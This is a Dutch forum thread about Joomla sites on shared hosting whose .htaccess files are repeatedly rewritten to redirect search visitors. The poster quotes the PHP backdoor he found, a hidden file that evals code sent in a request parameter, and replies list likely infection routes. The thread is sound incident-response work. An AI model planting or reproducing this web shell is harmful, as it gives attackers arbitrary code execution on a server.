Onderwerp: Joomla htaccess hack

Ik heb een klant die op zijn reseller pakket een groot aantal Joomla websites heeft gehost. Nu zijn deze websites een poosje geleden allemaal tegelijkertijd gehackt en vermoedelijk besmet geraakt met een vervelende exploit. Deze gaat om de zoveel tijd de .htaccess bestanden overschrijven en laat de website redirecten naar rare russische websites als mensen vanaf zoekmachines af komen (wanneer men op de site klikt op de zoekmachines dan verwijst de htaccess hun door naar een andere website).

Heel vervelend maar het probleem is maar niet te vinden. De klant heeft door een volgens haar Joomla expert de site laten onderzoeken en deze heeft niks kunnen ontdekken. Het zou volgens de expert moeten liggen aan een applicatie die van binnenuit zou werken.

Dat vind ik nogal een conclusie gezien deze expert geen inzage heeft gehad in logs en dergelijke. Dit heb ik wel meteen gedaan maar ik vond geen vreemde zaken. De sites draaien op een shared omgeving voorzien van DirectAdmin PHP met CLI en tevens is de server beveiligd met mod_ruid2. Alles wordt op gebruikerbasis uitgevoerd en ook andere gebruikersaccounts met Joomla websites zijn allemaal ongedeerd. Het lijkt mij dus echt te zitten in 1 van de websites van de klant.

Het rare is alleen dat de klant alle .htaccess bestanden inmiddels heeft gechmod naar 444, waardoor PHP het niet meer zou mogen aanpassen 9heb ik met een los PHP script ook getest), maar dat dit niks helpt. Ik ben dus heel benieuwd wat dit kan zijn.

Ik heb voor de zekerheid een flinke virusscan gedraaid over het gehele systeem en een rkhunter eens gedraaid, maar dit heeft niks opgeleverd, aan het systeem is verder ook niks raars te merken.En ik ben er eigenlijk ook wel zeker van dat dit systeem goed beveiligt is. Heeft iemand ervaring met deze exploid/hack en kan daar wat meer over vertellen?

Heb inmiddels een back-up gemaakt van de Joomla account en deze eens gescand met mijn desktop scanner (Eset NOD32) en ja hoor deze vond wel wat..;-) In \components\com_content\helpers\.jos_8z3.php stond dan ook het volgende:

Code:

<?php 
if (isset($_REQUEST['p1'])) {
	eval(stripslashes($_REQUEST['p1']));
} else {
	echo "djeu84m";
}
?>

Heb gauw de eval() verwijderd en dit vervangen door en mailfunctie. Zo kan ik nu loggen wat er uitgevoerd wordt.

Als ik dit hier lees is het mogelijk de oorzaak: http://forum.joomla.org/viewtopic.ph...&view=previous
Nu de klant alles van deze website laten doorlopen, ben beniuwd hoe dat bestand er terecht is gekomen.

Oorspronkelijk geplaatst door guidonline

Nu de klant alles van deze website laten doorlopen, ben beniuwd hoe dat bestand er terecht is gekomen.

Een aantal opties:

• Outdated software
• Malifide plugins / templates: hackers ontwikkelen plugins die een mooie functie hebben maar ook vervelende code. Ga na of het een veelgebruikte plugin is en scan de code eventueel.
• FTP toegang (minst waarschijnlijk maar is mogelijk)

Zoals Yourhoster zegt, de computer van de klant zelf kan zijn geïnfecteerd en hiermee de site infecteren.
Laat de klant Hitman pro draaien (eerste keer is gratis) en verander de wachtwoorden voor de zekerheid.